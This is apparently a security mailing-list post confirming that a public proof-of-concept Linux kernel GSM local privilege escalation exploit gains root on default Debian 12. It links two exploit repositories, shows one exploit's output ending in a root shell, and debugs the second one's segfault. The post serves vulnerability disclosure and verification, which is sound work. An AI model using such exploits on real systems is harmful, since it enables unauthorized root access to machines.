FWIW,
on a freshly installed and fully updated default Debian 12 VM (from the
current netinst iso), the first two exploits yield different results.
PoC and writeup are here:
https://github.com/YuriiCrimson/ExploitGSM/tree/main
This, let's call it "Yurii's version", works as advertised:
$ ./ExploitGSM debian
kallsyms restricted, begin retvial kallsyms table
detected kernel path-> /boot/vmlinuz-6.1.0-18-amd64
detected compressed format -> xz
Uncompressed kernel size -> 65902908
successfully taken kernel!
begin try leak startup_xen!
startup_xen leaked address -> ffffffff8c86f1c0
text leaked address -> ffffffff8a800000
lockdep_map_size -> 32
spinlock_t_size -> 4
mutex_size -> 32
gsm_mux_event_offset -> 56
Let go thread
We get root, spawn shell
root@debianexploitgsm:/root# id
uid=0(root) gid=0(root) groups=0(root)
PoC:
https://github.com/jmpe4x/GSM_Linux_Kernel_LPE_Nday_Exploit/tree/main
This one, however, segfaults. I recompiled it with debugging symbols and
ran it through a quick gdb:
Reading symbols from ./ExploitGSM...
(gdb) run debian
Starting program:
/home/absynth/GSM_Linux_Kernel_LPE_Nday_Exploit/ExploitGSM debian
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x00000000004324f7 in __strcmp_avx2 ()
(gdb) bt
#0 0x00000000004324f7 in __strcmp_avx2 ()
#1 0x0000000000401b5e in main (argc=2, argv=0x7fffffffe3f8) at
/home/absynth/GSM_Linux_Kernel_LPE_Nday_Exploit/main.c:552
(gdb)
Line 552 is the kernel release check, so a fairly straightforward piece
of code:
if (strcmp(iter_kernel->os_name, argv[1]) ||
strcmp(iter_kernel->kernel, kernel_info.release))
I'm not a C developer, so I'm not too sure what goes wrong here, but I
guess it's a simple fix.
With regards to Yurii's PoC, I'd say that this can indeed be classified
as a working 0day LPE in the default configuration.
We don't have a CVE for this yet, do we?
Regards,
--cku
